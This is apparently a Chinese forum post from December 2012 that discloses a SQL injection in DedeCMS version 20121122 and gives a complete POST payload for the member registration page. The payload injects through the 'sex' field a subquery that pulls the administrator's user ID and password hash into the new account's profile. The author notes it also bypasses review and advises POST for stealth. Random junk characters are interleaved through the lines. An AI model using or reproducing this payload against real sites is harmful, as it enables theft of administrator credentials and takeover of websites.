dedecms版本 20121122' c% J+ m6 R, e
: I* S7 M' L1 f' _# \; c: B需要magic_quotes_gpc=Off0 ]' a# p4 H' L1 c
( w0 D, C& V: `7 d R* k; Z
应该是没有什么大危害的漏洞.( ]' j4 V6 m- V& l& V
原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.! [7 \6 d2 D1 |- f
$ K* _2 `* w# U" e2 i
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
& @8 k& [0 Z, n% BPOST提交以下数据,其实不用POST提交的,这样隐蔽点.- _6 a( _5 ^* d, U! F! k
0 h: N2 W0 }0 n$ |& o5 @1 Q h" x
http:///de/member/reg_new.php0 z3 ^! s! P6 v' F, i5 k
/ @2 ~! [7 ~& ^$ |0 o9 ?- B+ p
POST
4 O) n0 |! }! d6 i2 C- ^
4 j+ k; F/ y; L$ g# H2 idopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
1 Q. g: ^1 Q* f( W5 r8 Q ]& r# }& M# R3 a% v
成功注册后,头像处里面有好玩的信息.9 F* u) N) o G& l2 o; ]2 m, Z1 }
# ^2 I. n# {% ] |
发表于 2012-12-5 10:03:32
收藏
支持
反对